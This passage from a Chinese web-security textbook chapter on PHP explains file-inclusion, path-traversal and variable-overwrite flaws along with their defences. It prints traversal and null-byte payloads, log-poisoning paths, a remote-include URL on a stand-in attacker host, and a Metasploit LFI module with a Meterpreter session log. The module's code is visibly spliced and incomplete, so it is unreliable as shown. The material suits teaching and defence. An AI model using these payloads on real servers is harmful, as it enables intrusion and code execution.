PHP安全

PHP是一种非常流行的Web开发语言。在Python、Ruby等语言兴起的今天,PHP仍然是众多开发者所喜爱的选择,在中国尤其如此。PHP的语法过于灵活,这也给安全工作带来了一些困扰。同时PHP也存在很多历史遗留的安全问题。在PHP语言诞生之初,互联网安全问题尚不突出,许多今天已知的安全问题在当时并未显现,因此PHP语言设计上一开始并没有过多地考虑安全。时至今日,PHP遗留下来的历史安全问题依然不少,但PHP的开发者与整个PHP社区也想做出一些改变。PHP语言的安全问题有其自身语言的一些特点,因此本章单独拿出PHP安全进行讨论,也是对本书其他章节的一个补充。

文件包含漏洞

严格来说,文件包含漏洞是“代码注入”的一种。在“注入攻击”一章中,曾经提到过“代码注入”这种攻击,其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行。“代码注入”的典型代表就是文件包含(File Inclusion)。文件包含可能会出现在JSP、PHP、ASP等语言中,常见的导致文件包含的函数如下。

1 2 3 4 5
PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), ... JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), ... ASP:include file, include virtual, ...

在互联网的安全历史中,PHP的文件包含漏洞已经臭名昭著了,因为黑客们在各种各样的PHP应用中挖出了数不胜数的文件包含漏洞,且后果都非常严重。

文件包含是PHP的一种常见用法,主要由4个函数完成:

1 2 3 4 5 6 7
include() require() include_once() require_once()

当使用这4个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会在意该被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程URL,也都将作为PHP代码执行。这一特性,在实施攻击时将非常有用。比如以下代码:

1 2 3 4 5
<?php include($_GET[test]); ?>

引入同目录下的一个文件时:测试页面

当这个txt文件中包含了可执行的PHP代码时:

再执行漏洞URL,发现代码被执行了:

phpinfo()函数被执行

要想成功利用文件包含漏洞,需要满足下面两个条件:

(1)include()等函数通过动态变量的方式引入需要包含的文件;

(2)用户能够控制该动态变量。

下面我们深入看看文件包含漏洞还可能导致哪些后果。

本地文件包含

能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞(Local File Inclusion,简称LFI)。比如下面这段代码,就存在LFI漏洞。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21
<?php $file = $_GET['file']; // "../../etc/passwd \0" if (file_exists('/home/wwwrun/'. $file.'.php')) { // file_exists will return true as the file /home/wwwrun/../../etc/passwd exists include '/home/wwwrun/'.$file.'.php'; // the file /etc/passwd will be included } ?>

用户能够控制参数file,当file的值为“../../etc/passwd”时,PHP将访问/etc/passwd文件。但是在此之前,还需要解决一个小问题:

1
include '/home/wwwrun/'.$file.'.php';

这种写法将变量与字符串连接起来,假如用户控制$file的值为“../../etc/passwd”时,这段代码相当于:

1
include '/home/wwwrun/../../etc/passwd.php';

被包含文件实际上是“/etc/passwd.php”,但这个文件其实是不存在的。

PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串,即:

1
../../etc/passwd\0

通过Web输入时,只需UrlEncode,变成:

1
../../etc/passwd%00

字符串截断的技巧,也是文件包含中最常用的技巧。

但在一般的Web应用中,0字节用户其实是不需要使用的,因此完全可以禁用0字节,比如:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21
<?php function getVar($name) { $value = isset($_GET[$name]) ? $_GET[$name] : null; if (is_string($value)) { $value = str_replace("\0", '', $value); } } ?>

但这样并没有解决所有问题,国内的安全研究者cloie发现了一个技巧——利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。目录字符串,在Windows下256字节、Linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。如何构造出这么长的目录呢?通过“./”的方式即可,比如:

1
./././././././././././././abc

或者

1
/////////////////abc

或者

1
../1/abc/../1/abc/../1/abc

除了include()等4个函数外,PHP中能够对文件进行操作的函数都有可能出现漏洞。虽然大多数情况下不能执行PHP代码,但能够读取敏感文件带来的后果也是比较严重的。

1 2 3 4 5
fopen() fread() ……

文件包含漏洞能够读取敏感文件或者服务器端脚本的源代码,从而为攻击者实施进一步攻击奠定基础。

文件包含漏洞读出了/etc/passwd的信息

在上面的例子中可以看到,使用了“../../../”这样的方式来返回到上层目录中,这种方式又被称为“目录遍历”(Path Traversal)。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端逻辑。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
%2e%2e%2f等同于../ %2e%2e/等同于../ ..%2f等同于../ %2e%2e%5c等同于..\ %2e%2e\等同于..\ ..%5c等同于..\ %252e%252e%255c等同于..\ ..%255c等同于..\ and so on.

某些Web容器支持的编码方式:

1 2 3
..%c0%af等同于../ ..%c1%9c等同于..\

比如CVE-2008-2938,就是一个Tomcat的目录遍历漏洞。

如果context.xml或server.xml允许'al-lowLinking'和'URIencoding'为'UTF-8',攻击者就可以以Web权限获得重要的系统文件内容。

1
http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了open_basedir时,将很好地保护服务器,使得这种攻击无效。

open_basedir的作用是限制在某个特定目录下PHP能打开的文件,其作用与safe_mode是否开启无关。

比如在测试环境下,当没有设置open_basedir时,文件包含漏洞可以访问任意文件。

测试页面

当设置了open_basedir时:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19
; open_basedir, if set, limits all file operations to the defined directory ; and below. This directive makes most sense if used in a per-directory ; or per-virtualhost web server configuration file. This directive is ; *NOT* affected by whether Safe Mode is turned On or Off. open_basedir = D:\soft\develop\env\sites \www.a.com\

文件包含失败:

测试页面

错误提示:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
Warning: include() [function.include]: open_basedir restriction in effect. File(../../../../../../../../../../../../../. ./../../../x.txt) is not within the allowed path(s): (D:\soft\develop\env\sites \www.a.com\) in D:\soft\develop\env\sites\www.a.com \test.php on line 3

需要注意的是,open_basedir的值是目录的前缀,因此假设设置如下:

1
open_basedir = /home/app/aaa

那么实际上,以下目录都是在允许范围内的。

1 2 3 4 5
/home/app/aaa /home/app/aaabbb /home/app/aaa123

如果要限定一个指定的目录,则需要在最后加上“/”。

1
open_basedir = /home/app/aaa/

在Windows下多个目录应当用分号隔开,在Linux下则用冒号隔开。

要解决文件包含漏洞,应该尽量避免包含动态的变量,尤其是用户可以控制的变量。一种变通方式,则是使用枚举,比如:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
<?php $file = $_GET['file']; // Whitelisting possible values switch ($file) { case 'main': case 'foo': case 'bar': include '/home/wwwrun/include/'. $file.'.php'; break; default: include '/home/wwwrun/include/ main.php'; } ?>

$file的值被枚举出来,也就避免了任意文件包含的风险。

远程文件包含

如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(Re-mote File Inclusion,简称RFI)。比如如下代码:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17
<?php if ($route == "share") { require_once $basePath . '/action/ m_share.php'; } elseif ($route == "sharelink") { require_once $basePath . '/action/ m_sharelink.php'; } ?>

在变量$basePath前没有设置任何障碍,因此攻击者可以构造类似如下的攻击URL。

1
/?param=http://attacker/phpshell.txt?

最终加载的代码实际上执行了:

1 2 3
require_once 'http://attacker/phpshell.txt?/ action/m_share.php';

问号后面的代码被解释成URL的querys-tring,也是一种“截断”,这是在利用远程文件包含漏洞时的常见技巧。同样的,%00也可以用做截断符号。

远程文件包含漏洞可以直接用来执行任意命令,比如在攻击者的服务器上存在如下文件:

1 2 3 4 5
<?php echo system("ver;"); ?>

包含远程文件后,获得命令执行:

系统命令被执行

本地文件包含的利用技巧

本地文件包含漏洞,其实也是有机会执行PHP代码的,这取决于一些条件。

远程文件包含漏洞之所以能够执行命令,就是因为攻击者能够自定义被包含的文件内容。因此本地文件包含漏洞想要执行命令,也需要找到一个攻击者能够控制内容的本地文件。

经过不懈的研究,安全研究者总结出了以下几种常见的技巧,用于本地文件包含后执行PHP代码。

(1)包含用户上传的文件。

(2)包含data://或php://input等伪协议。

(3)包含Session文件。

(4)包含日志文件,比如Web Server的ac-cess log。

(5)包含/proc/self/environ文件。

(6)包含上传的临时文件(RFC1867)。

(7)包含其他应用创建的文件,比如数据库文件、缓存文件、应用日志等,需要具体情况具体分析。

包含用户上传的文件很好理解,这也是最简单的一种方法。用户上传的文件内容中如果包含了PHP代码,那么这些代码被include() 加载后将会执行。

但包含用户上传文件能否攻击成功,取决于文件上传功能的设计,比如要求知道用户上传后文件所在的物理路径,有时这个路径很难猜到。在本书“文件上传漏洞”一章中给出了很多设计安全文件上传功能的建议。

伪协议如php://input等需要服务器支持,同时要求allow_url_include设置为ON。在PHP5.2.0之后的版本中支持data:伪协议,可以很方便地执行代码,它同样要求allow_url_include为ON。

1 2 3
http://www.example.com/index.php? file=data:text/plain,<?php phpinfo();?>%00

包含Session文件的条件也较为苛刻,它需要攻击者能控制部分Session文件的内容。比如:

1
x|s:19:"<?php phpinfo(); ?>"

PHP默认生成的Session文件往往存放在/tmp目录下,比如:

1
/tmp/sess_SESSIONID

包含日志文件是一种比较通用的技巧。因为服务器一般都会往Web Server的access_log里记录客户端的请求信息,在error_log里记录出错请求。因此攻击者可以间接地将PHP代码写入到日志文件中,在文件包含时,只需要包含日志文件即可。

但需要注意的是,如果网站访问量大的话,日志文件有可能会很大(比如一个日志文件有2GB),当包含一个这么大的文件时,PHP进程可能会僵死。但Web Server往往会滚动日志,或每天生成一个新的日志文件。因此在凌晨时包含日志文件,将提高攻击的成功性,因为此时的日志文件可能非常小。

以Apache为例,一般的攻击步骤是,先通过读取httpd的配置文件httpd.conf,找到日志文件所在的目录。httpd.conf一般会存在Apache的安装目录下,在Redhat系列里默认安装的可能为/etc/httpd/conf/httpd.conf,而自定义安装的可能在/usr/local/apache/conf/httpd.conf为。但更多时候,也可能猜不到这个目录。

常见的日志文件可能会存在以下地方:

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149
../../../../../../../../../../var/log/httpd/ access_log ../../../../../../../../../../var/log/httpd/ error_log ../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../../../../../../../etc/httpd/logs/ acces_log ../../../../../../../../../../etc/httpd/logs/ acces.log ../../../../../../../../../../etc/httpd/logs/ error_log ../../../../../../../../../../etc/httpd/logs/ error.log ../../../../../../../../../../var/www/logs/ access_log ../../../../../../../../../../var/www/logs/ access.log ../../../../../../../../../../usr/local/ apache/logs/access_log ../../../../../../../../../../usr/local/ apache/logs/access.log ../../../../../../../../../../var/log/apache/ access_log ../../../../../../../../../../var/log/apache/ access.log ../../../../../../../../../../var/log/ access_log ../../../../../../../../../../var/www/logs/ error_log ../../../../../../../../../../var/www/logs/ error.log ../../../../../../../../../../usr/local/ apache/logs/error_log ../../../../../../../../../../usr/local/ apache/logs/error.log ../../../../../../../../../../var/log/apache/ error_log ../../../../../../../../../../var/log/apache/ error.log ../../../../../../../../../../var/log/ access_log ../../../../../../../../../../var/log/ error_log /var/log/httpd/access_log /var/log/httpd/error_log ../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log /etc/httpd/logs/acces_log /etc/httpd/logs/acces.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /var/www/logs/access_log /var/www/logs/access.log /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /var/log/apache/access_log /var/log/apache/access.log /var/log/access_log /var/www/logs/error_log /var/www/logs/error.log /usr/local/apache/logs/error_log /usr/local/apache/logs/error.log /var/log/apache/error_log /var/log/apache/error.log /var/log/access_log /var/log/error_log

Metasploit中包含了一个脚本自动化完成包含日志文件的攻击。

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509
msf exploit(handler) > use exploit/unix/ webapp/php_lfi msf exploit(php_lfi) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 msf exploit(php_lfi) > set RPORT 8181 RPORT => 8181 msf exploit(php_lfi) > set URI /index.php? foo=xxLFIxx URI => /index.php?foo=xxLFIxx msf exploit(php_lfi) > set PAYLOAD php/ meterpreter/bind_tcp PAYLOAD => php/meterpreter/bind_tcp msf exploit(php_lfi) > exploit -z [*] Started bind handler [*] Trying generic exploits [*] Clean LFI injection [*] Sending stage (31612 bytes) to 127.0.0.1 [*] Meterpreter session 1 opened (127.0.0.1:19412 -> 127.0.0.1:4444) at Tue May 24 14:47:29 +0200 2011 C[-] Exploit exception: Interrupt [*] Session 1 created in the background. msf exploit(php_lfi) > sessions -i 1 [*] Starting interaction with 1... meterpreter > ls Listing: /usr/home/test/cherokee/www ===================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100644/rw-r--r-- 0 fil Tue May 10 11:09:39 +0200 2011 foo.php 40755/rwxr-xr-x 512 dir Tue May 10 10:53:59 +0200 2011../Images 100644/rw-r--r-- 1795 fil Tue May 10 10:19:23 +0200 2011 index.html 100644/rw-r--r-- 37 fil Tue May 10 13:52:25 +0200 2011 index.php meterpreter > sysinfo OS : FreeBSD redphantom.skynet.ct 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Thu Feb 17 02:41:51 UTC 2011 root@mason.cse.buffalo.edu:/usr/obj/usr/src/ sys/GENERIC amd64 Computer : redphantom.skynet.ct Meterpreter : php/php meterpreter > exit 其代码如下: # # Copyright (c) 2011 GhostHunter # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # 3. Neither the name of copyright holders nor the names of its # contributors may be used to endorse or promote products derived # from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED # TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS OR CONTRIBUTORS # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. require 'msf/core' require 'rex/proto/ntlm/message' require "base64" class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => ' PHP LFI ', 'Version' => '1', 'Description' => 'This module attempts to perform a LFI attack against a PHP application', 'Author' => [ 'ghost' ], 'License' => BSD_LICENSE, 'References' => [ ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { # max header length for Apache, # http://httpd.apache.org/docs/2.2/ mod/core.html#limitrequestfieldsize 'Space' => 8190, # max url length for some old versions of apache according to # http://www.boutell.com/newfaq/ misc/urllength.html #'Space' => 4000, 'DisableNops' => true, 'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install 'Compat' => { 'ConnectionType' => 'find', }, 'Keys' => ['php'], }, 'Targets' => [ ['Automatic', { }], ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(80), OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request", 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]), 'method' => 'POST', 'data' => '<?php '+payload.encoded +'?>', }, 100) cleanup() if not session_created?() print_status("LFI injection with %00 trick") res = send_request_cgi({ 'agent' => datastore['UserAgent'], 'uri' => datastore['URI'].gsub("xxLFIxx", "php://input %00"), 'method' => 'POST', 'data' => '<?php '+payload.encoded +'?>', }, 100) cleanup() end end def inject_log(logf,agent) res = send_request_cgi({ 'agent' => agent, 'uri' => datastore['URI'].gsub("xxLFIxx", "../../../../../../../../../../.."+logf), 'method' => 'GET', }, 100) cleanup() return res end def exploit_loginjection nullbytepoisoning=false injectable=false print_status("Testing /etc/passwd") res = inject_log("/etc/ passwd",datastore['UserAgent']) if res.code >= 200 and res.code <=299 and res.body=~/sbin\/nologin/ print_status("log injection without null byte poisioning") injectable=true else res = inject_log("/etc/passwd %00",datastore['UserAgent']) if res.code >= 200 and res.code <=299 and res.body=~/sbin\/nologin/ print_status("injection with null byte poisioning") nullbytepoisoning=true injectable=true end end if not injectable return false end print_status("Injecting the webserver log files") index=0 logs=datastore['LogFiles'].split(":") while not session_created?() and index < logs.length logf=logs[index] print_status('Trying to poison '+logf) if nullbytepoisoning logf=logf+"%00" end res = inject_log(logf,datastore['UserAgent']) if res.body=~ / #{Regexp.escape(datastore['UserAgent'])}/ print_status('Poisoning '+logf+' Via the UserAgent') res = inject_log(logf,'<?php '+payload.encoded+'?>') sleep(30) print_status("calling the shell") res = inject_log(logf,datastore['UserAgent']) end index=index+1 end end def exploit fp=http_fingerprint() print_status("Trying generic exploits") exploit_generic() if not session_created?() print_status("Trying OS based exploits") if ( fp =~/unix/i ) print_status("Detected a Unix server") #TODO /proc/self/environ injection exploit_loginjection() # TODO ssh logs injection # TODO mail.log maillog injection else print_status("Are they running Windows?!?") end end end end

如果httpd的配置文件和日志目录完全猜不到怎么办?如果PHP的错误回显没有关闭,那么构造一些异常也许能够暴露出Web目录所在位置。此外,还可以利用下面的方法。

包含/proc/self/environ是一种更为通用的方法,因为它根本不需要猜测被包含文件的路径,同时用户也能控制它的内容。

1 2 3
http://www.website.com/view.php? page=../../../../../proc/self/environ

包含/proc/self/environ文件,可能看到如下内容:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/ html, application/xml;q=0.9, application/xhtml +xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b959484 4ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/ index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F.. %2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665

以上这些方法,都要求PHP能够包含这些文件,而这些文件往往都处于Web目录之外,如果PHP配置了open_basedir,则很可能会使得攻击失效。

但PHP创建的上传临时文件,往往处于PHP允许访问的目录范围内。包含这个临时文件的方法,其理论意义大于实际意义。根据RFC1867,PHP处理上传文件的过程是这样的:PHP处理上传文件的过程

PHP会为上传文件创建临时文件,其目录在php.ini的upload_tmp_dir中定义。但该值默认为空,此时在Linux下会使用/tmp目录,在Win-dows下会使用C:\windows\temp目录。

该临时文件的文件名是随机的,攻击者必须准确猜测出该文件名才能成功利用漏洞。PHP在此处并没有使用安全的随机函数,因此使得暴力猜解文件名成为可能。在Windows下,仅有65535种不同的文件名。

Gynvael Coldwind深入研究了这个课题,并发表了paper:PHP LFI to arbitratry code execu-tion via rfc1867 file upload temporary files,有兴趣的读者可以参考此文。

变量覆盖漏洞

全局变量覆盖

变量如果未被初始化,且能被用户所控制,那么很可能会导致安全问题。而在PHP中,这种情况在register_globals为ON时尤其严重。

在PHP 4.2.0之后的版本中,register_globals默认由ON变为了OFF。这在当时让很多程序员感到不适应,因为程序员习惯了滥用变量。PHP中使用变量并不需要初始化,因此register_globals=ON时,变量来源可能是各个不同的地方,比如页面的表单、Cookie等。这样极容易写出不安全的代码,比如下面这个例子:

 1  2  3  4  5  6  7  8  9 10 11 12 13
<?php echo "Register_globals: ". (int)ini_get("register_globals")."<br/>"; if ($auth){ echo "private!"; } ?>

当register_globals = OFF时,这段代码并不会出问题。测试页面

但是当register_globals = ON时,提交请求URL:http://www.a.com/test1.php?auth=1,变量$auth将自动得到赋值:

从而导致发生安全问题。

类似的,通过$GLOBALS获取的变量,也可能导致变量覆盖。假设有如下代码:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
<?php echo "Register_globals: ". (int)ini_get("register_globals")."<br/>"; if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k}); print $a; print $_GET[b]; ?>

这是一段常见的禁用register_globals的代码:

1 2 3
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});

变量$a未初始化,在register_globals = ON时,再尝试控制“$a”的值,会因为这段禁用代码而出错。

提交:http://www.a.com/test1.php?a=1&b=2

显示变量a未定义

而当尝试注入“GLOBALS[a]”以覆盖全局变量时,则可以成功控制变量“$a”的值。

提交:http://www.a.com/test1.php?GLOB-ALS[a]=1&b=2

显示变量a的值

这是因为unset()默认只会销毁局部变量,要销毁全局变量必须使用$GLOBALS。比如:

 1  2  3  4  5  6  7  8  9 10 11 12 13
<?php function foo() { unset($GLOBALS['bar']); } $bar = "something"; foo(); ?>

而在register_globals = OFF时,则无法覆盖到全局变量。

显示变量a未定义

所以如果实现代码关闭register_globals,则一定要覆盖所有的superglobals,推荐使用下面的代码:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
<?php // Emulate register_globals off function unregister_GLOBALS() { if (!ini_get('register_globals')) { return; } // Might want to change this perhaps to a nicer error if (isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) { die('GLOBALS overwrite attempt detected'); } // Variables that shouldn't be unset $noUnset = array('GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES'); $input = array_merge($_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array()); foreach ($input as $k => $v) { if (!in_array($k, $noUnset) && isset($GLOBALS[$k])) { unset($GLOBALS[$k]); } } } unregister_GLOBALS(); ?>

这在共享的PHP环境中(比如App Engine中)可能会比较有用。

回到变量覆盖上来,即便变量经过了初始化,但在PHP中还是有很多方式可能导致变量覆盖。当用户能够控制变量来源时,将造成一些安全隐患,严重的将引起XSS、SQL注入等攻击,或者是代码执行。

extract()变量覆盖

extract()函数能将变量从数组导入当前的符号表,其函数定义如下:

1 2 3
int extract ( array $var_array [, int $extract_type [, string $prefix ]] )

其中,第二个参数指定函数将变量导入符号表时的行为,最常见的两个值是“EXTR_OVER-WRITE”和“EXTR_SKIP”。

当值为“EXTR_OVERWRITE”时,在将变量导入符号表的过程中,如果变量名发生冲突,则覆盖已有变量;值为“EXTR_SKIP”则表示跳过不覆盖。若第二个参数未指定,则在默认情况下使用“EXTR_OVERWRITE”。

看如下代码:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17
<?php $auth = '0'; extract($_GET); if ($auth == 1){ echo "private!"; }else { echo "public!"; } ?>

当extract()函数从用户可以控制的数组中导出变量时,可能发生变量覆盖。在这个例子里,ex-tract()从$_GET中导出变量,从而可以导致任意变量被覆盖。假设用户构造以下链接:

1
http://www.a.com/test1.php?auth=1

将改变变量$auth的值,绕过服务器端逻辑。

一种较为安全的做法是确定register_globals= OFF后,在调用extract()时使用 EXTR_SKIP保证已有变量不会被覆盖。但extract()的来源如果能被用户控制,则仍然是一种非常糟糕的使用习惯。同时还要留意变量获取的顺序,在PHP中是由php.ini中的variables_order所定义的顺序来获取变量的。

类似extract(),下面几种场景也会产生变量覆盖的问题。

遍历初始化变量

常见的一些以遍历的方式释放变量的代码,可能会导致变量覆盖。比如:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17
$chs = ''; if($_POST && $charset != 'utf-8') { $chs = new Chinese('UTF-8', $charset); foreach($_POST as $key => $value) { $$key = $chs- >Convert($value); } unset($chs);

若提交参数chs,则可覆盖变量“$chs”的值。

在代码审计时需要注意类似“$$k”的变量赋值方式有可能覆盖已有的变量,从而导致一些不可控制的结果。

import_request_variables变量覆盖

1 2 3
bool import_request_variables ( string $types [, string $prefix ] )

import_request_variables()将GET、POST、Cookie中的变量导入到全局,使用这个函数只需要简单地指定类型即可。其中第二个参数是为导入的变量添加的前缀,如果没有指定,则将覆盖全局变量。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17
<?php $auth = '0'; import_request_variables('G'); if ($auth == 1){ echo "private!"; }else { echo "public!"; } ?>

以上代码中,import_request_variables('G')指定导入GET请求中的变量,从而导致变量覆盖问题。

parse_str()变量覆盖

1 2 3
void parse_str ( string $str [, array & $arr ] )

parse_str()函数往往被用于解析URL的query string,但是当参数值能被用户控制时,很可能导致变量覆盖。

类似下面的写法都是危险的:

1 2 3 4 5 6 7
//var.php?var=new 变量覆盖 $var = 'init'; parse_str($_SERVER['QUERY_STRING']); print $var;

如果指定了parse_str()的第二个参数,则会将query string中的变量解析后存入该数组变量中。因此在使用parse_str()时,应该养成指定第二个参数的好习惯。

与parse_str()类似的函数还有mb_parse_str()。

还有一些变量覆盖的方法,难以一次列全,但有以下安全建议:

首先,确保register_globals =OFF。若不能自定义php.ini,则应该在代码中控制。

其次,熟悉可能造成变量覆盖的函数和方法,检查用户是否能控制变量的来源。

最后,养成初始化变量的好习惯。

代码执行漏洞

PHP中的代码执行情况非常灵活,但究其原因仍然离不开两个关键条件:第一是用户能够控制的函数输入;第二是存在可以执行代码的危险函数。但PHP代码的执行过程可能是曲折的,有些问题很隐蔽,不易被发现,要找出这些问题,对安全工程师的经验有较高的要求。

“危险函数”执行代码

在前文中提到,文件包含漏洞是可以造成代码执行的。但在PHP中,能够执行代码的方式远不止文件包含漏洞一种,比如危险函数popen()、sys-tem()、passthru()、exec()等都可以直接执行系统命令。此外,eval()函数也可以执行PHP代码。还有一些比较特殊的情况,比如允许用户上传PHP代码,或者是应用写入到服务器的文件内容和文件类型可以由用户控制,都可能导致代码执行。

下面通过几个真实案例,来帮助深入理解PHP中可能存在的代码执行漏洞。

phpMyAdmin 3.4.3.1远程代码执行漏洞

在phpMyAdmin版本3.3.10.2与3.4.3.1以下存在一个变量覆盖漏洞,漏洞编号为:CVE-2011-2505,漏洞代码存在于libraries/auth/swekey/swekey.auth.lib.php中。

